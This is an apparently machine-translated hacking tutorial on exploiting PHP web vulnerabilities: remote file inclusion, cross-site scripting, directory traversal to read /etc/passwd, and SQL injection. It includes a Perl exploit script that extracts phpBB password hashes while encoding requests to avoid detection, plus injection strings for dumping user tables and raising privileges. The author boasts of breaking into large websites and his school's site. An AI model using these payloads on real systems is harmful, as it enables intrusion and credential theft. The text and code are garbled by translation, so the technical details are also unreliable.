From the current network security, we are most concerned about and contact the most Web page vulnerabilities should be ASP, in this respect, small bamboo is an expert, I have no say. However, in PHP, there are also serious security issues, but this article is not much. Here, let's talk a little bit about the PHP page related vulnerabilities.
I have done a summary of the current common PHP vulnerabilities, roughly divided into the following: Include file vulnerabilities, script command execution vulnerabilities, file leaks vulnerabilities, SQL injection vulnerabilities and so on. Of course, some of the generic techniques, such as cookie spoofing, are not discussed here, and they are also available online. So, let's just one to analyze how to exploit these vulnerabilities!
First, we'll discuss the inclusion file vulnerability. This vulnerability should be said to be PHP unique. This is due to inadequate processing of externally provided malicious data, which can allow remote attackers to exploit these vulnerabilities to execute arbitrary commands on the system with Web process privileges. Let's look at an example: suppose there is such a code in a.php:
<?php
Include ($include.) /xxx.php ");
?>
In this code, $include is generally a path that has been set up, but we can construct a path by ourselves to achieve the purpose of the attack. Let's say we submit: a.php?include=http://web/b.php, this web is the space we use to attack, and of course, b.php is the code we used to attack. We can write code similar to: PassThru ("/bin/ls/etc") in b.php. In this way, you can perform some purposeful attacks. (Note: The Web server should not be able to execute PHP code, otherwise it will be a problem.) For more information, see << How to attack a common vulnerability in a PHP program >>. In this loophole, a lot of situation, for example: PayPal Store front,hotnews,mambo Open source,phpdig,yabb Se,phpbb,invisionboard,solmetra Spaw Editor,les Visiteurs,phpgedview,x-cart Wait a few.
Next, let's take a look at the script command execution vulnerability. This is due to the lack of adequate filtering of the URI parameters submitted to the user, and the submission of data containing malicious HTML code that can lead to a cross-site scripting attack and potentially sensitive information for the target user. Let us also cite an example: in php php transparent php 4.3.1 The following version of the index.php page for the phpsessid lack of adequate filtering, we can use this code to achieve the purpose of the attack: http://web/index.php ? Phpsessid= "> in script we can construct a function to get some sensitive information about the user. In this vulnerability is a little less, in addition to PHP transparent also: php-nuke,phpbb,php classifieds,phpix,ultimate PHP Board and so on.
Then we'll look at the file leak vulnerability, which is due to the lack of adequate filtering of the user submission parameters, which remote attackers can use to perform directory traversal attacks and to obtain sensitive information. Let's take the recently discovered phpMyAdmin for example. In phpMyAdmin, the export.php page does not adequately filter the user-submitted ' What ' parameters, and the remote attacker submits a multiple '. /' character, you can bypass the Web root limit and view arbitrary file information on the system with Web permissions. For example, to enter such an address: export.php?what=. /.. /.. /.. /.. /.. /etc/passwd%00 will be able to achieve the purpose of the file leak. In this respect a little bit more, there are: Myphpnuke,mcnews and so on.
Finally, we are back to the most exciting place. Think we usually in the ASP page with SQL injection how cool, before also manually injected, until the small bamboo to realize "SQL injection Gupta" (hehe), and then open to make NBSI after, we NB Alliance really pull out a piece of the sky. Has helped csdn, tycoon Forum, China Channel and other large web sites to find loopholes. (These nonsense don't say much, a bit digress ...).
Or the word stadia, in fact, in the ASP SQL injection and PHP SQL injection is roughly the same, but a little attention to the use of a few functions is good. Change the ASC to Ascii,len to length, and the other functions are basically unchanged. In fact, you see PHP SQL injection, is not all think of Php-nuke and phpbb it? Yes, as the saying goes, the tree big strokes, like moving nets such a forum in the ASP industry should be a loophole this king, this is not to say that its forum security is too bad, but the reputation is too loud, others use more, the study of people are more, The more security vulnerabilities are found. phpBB is the same, now a lot of people use PHP as a forum, the general is the choice of phpBB. Its loophole is also always out, from the earliest phpbb.com PhpBB 1.4.0 version was found to be vulnerable to the current PhpBB 2.0.6 version of groupcp.php, as well as previously discovered search.php,profile.php, Viewtopic.php and so on add up, there are probably 10 or so like it. This has been led to a number of people in the study of PHP loopholes will be used to do the experiment, the so-called hundred practice, I believe that the future phpbb will be better.
Well, let's just analyze the cause of the leak. Take the viewtopic.php page, because when you call viewtopic.php, you get "topic_id" directly from the getting request and pass it to the SQL query command, and there is no filtering processing. An attacker could submit a special SQL string for obtaining a MD5 password that could be used for automatic logon or brute force hacking. (I don't think anyone would want to be violent, unless there's a particularly important reason). First look at the relevant source code:
# if (Isset ($HTTP _get_vars[post_topic_url])
# {
# $topic _id = intval ($HTTP _get_vars[post_topic_url]);
# }
# Else if (isset ($HTTP _get_vars[' topic '))
# {
# $topic _id = intval ($HTTP _get_vars[' topic '));
# }
From the above we can see that if the submitted View=newest and SID set the value, execute the query code like this (if you have not seen the PhpBB source code, I suggest you look at this, the affected system is: PhpBB 2.0.5 and PhpBB 2.0.4).
# $sql = ' Select p.post_id
# from '. Posts_table. "P,". Sessions_table. "s,". Users_table. "U
# WHERE s.session_id = ' $session _id '
# and u.user_id = s.session_user_id
# and p.topic_id = $topic _id
# and P.post_time >= u.user_lastvisit
# ORDER BY P.post_time ASC
# LIMIT 1 ";
Rick provides the following break test code:
Use Io::socket;
$remote = Shift | | ' localhost ';
$view _topic = Shift | | '/phpbb2/viewtopic.php ';
$uid = Shift | | 2;
$port = 80;
$dbtype = ' Mysql4 '; # Mysql4 or Pgsql
Print "Trying to get password hash for UID $uid server $remote dbtype: $dbtype \ n";
$p = "";
For ($index =1 $index <=32; $index + +)
{
$socket = io::socket::inet->new (peeraddr => $remote,
Peerport => $port,
Proto => "TCP",
Type => Sock_stream)
Or die "couldnt connect to $remote: $port:$@\n";
$str = "Get $view _topic". "? Sid=1&topic_id=-1". Random_encode (Make_dbsql ()). "&view=newest". "Http/1.0\n\n";
Print $socket $str;
Print $socket "cookie:phpbb2mysql_sid=1\n"; # Replace this for pgsql or remove it
Print $socket "Host: $remote \ n \ nthe";
while ($answer = < $socket >)
{
if ($answer =~/location:.*\x23 (\d+)/) # matches the location:viewtopic.php?p=#
{
$p. = Chr ();
}
}
Close ($socket);
}
Print "\nmd5 Hash for uid $uid is $p \ n";
# random encode str. helps avoid detection
Sub Random_encode
{
$STR = shift;
$ret = "";
for ($i =0; $i {
$c = substr ($str, $i, 1);
$j = Rand Length ($str) * 1000;
if (int ($j)% 2 | | $c eq ")
{
$ret. = "%". sprintf ("%x", Ord ($c));
}
Else
{
$ret. = $c;
}
}
return $ret;
}
Sub Make_dbsql
{
if ($dbtype eq ' mysql4 ')
{
Return "Union Select ORD (substring User_password,". $index. ", 1)" from Phpbb_users where user_id= $uid/* ";
} elsif ($dbtype eq ' pgsql ')
{
Return "; Select ASCII (substring (user_password from $index to 1)) as post_id from Phpbb_posts p, phpbb_users u where u.user_id= $uid or false ";
}
Else
{
Return "";
}
}
This code, I don't have much to explain. The effect is to get the hash value.
See here, you may have a little doubt, why I said before the changes in the function of how did not use, I speak out of fear everyone jokes: In fact, many sites on the Web page of the query statement will look like this:
Display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Don't laugh, this is true, I still rely on this to go into several large websites. As to which some, not to speak out, but our school's website, I just rely on this into the background, the previous function to use it. Otherwise, you have to change the code. OH!!!
Almost forgot a bit, in the SQL injection, PHP and ASP, the use of the SQL statement MySQL is not flexible, therefore, many of the use of MSSQL query statements in MySQL can not be effective. Generally our common injection statements are like this: Aaa.php?id=a ' into outfile ' pass.txt or aaa.php?id=a ' into outfile ' pass.txt '//* can be further changed to: Aaa.php?id=a ' or 1=1 Union Select Id,name,password form users into OutFile ' C:/a.txt
This allows you to export the database data to a file, which you can then view.
Or so: mode= ', user_level= ' 4
This statement is generally used to modify the data, assuming that the page has a loophole, you can achieve elevated permissions to do.
Others such as ' or 1=1--or: 1 ' or 1 = ' 1 are similar to ASP. There's not much to say here. in PHP, SQL injection seems to be the top of the hole, and there are too many pages with this problem.
In fact, we can see that the above categories in the final analysis is only one reason: the submission parameters are not filtered or not rigorous filtering.